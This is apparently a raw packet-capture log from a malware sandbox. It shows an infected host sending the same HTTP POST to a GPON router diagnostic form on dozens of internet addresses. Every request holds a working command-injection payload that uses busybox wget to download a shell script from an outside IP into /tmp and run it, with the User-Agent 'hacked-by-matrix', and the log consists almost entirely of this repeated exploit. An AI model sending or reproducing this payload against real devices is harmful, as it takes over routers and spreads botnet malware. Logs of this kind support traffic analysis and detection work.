Mar 21, 2024 05:23:46.886087894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2119	192.168.2.13	36914	109.0.93.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886102915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2120	192.168.2.13	46340	118.68.151.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886132002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2121	192.168.2.13	38146	118.54.233.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886163950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2122	192.168.2.13	49708	212.58.2.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886190891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2123	192.168.2.13	56618	109.68.130.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886204004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2124	192.168.2.13	43190	5.43.215.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886224985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2125	192.168.2.13	34634	212.169.222.154	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886229992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2126	192.168.2.13	57996	118.94.110.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886282921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2127	192.168.2.13	49146	5.228.117.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886305094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2128	192.168.2.13	58554	212.2.255.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886334896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2129	192.168.2.13	43606	118.4.83.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886353016 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2130	192.168.2.13	44530	5.118.192.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886375904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2131	192.168.2.13	43254	5.240.159.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886398077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2132	192.168.2.13	56550	109.89.106.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886418104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2133	192.168.2.13	52986	118.53.180.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886423111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2134	192.168.2.13	53188	212.96.115.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886460066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2135	192.168.2.13	43024	212.71.34.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886467934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2136	192.168.2.13	42320	42.95.192.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886512041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2137	192.168.2.13	43034	212.80.174.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886537075 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2138	192.168.2.13	59776	109.30.12.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886553049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2139	192.168.2.13	50254	118.155.212.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.886605024 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2140	192.168.2.13	42026	118.100.58.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887343884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2141	192.168.2.13	36234	42.28.30.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.887345076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2142	192.168.2.13	60684	118.165.40.189	443

Timestamp	Bytes transferred	Direction	Data
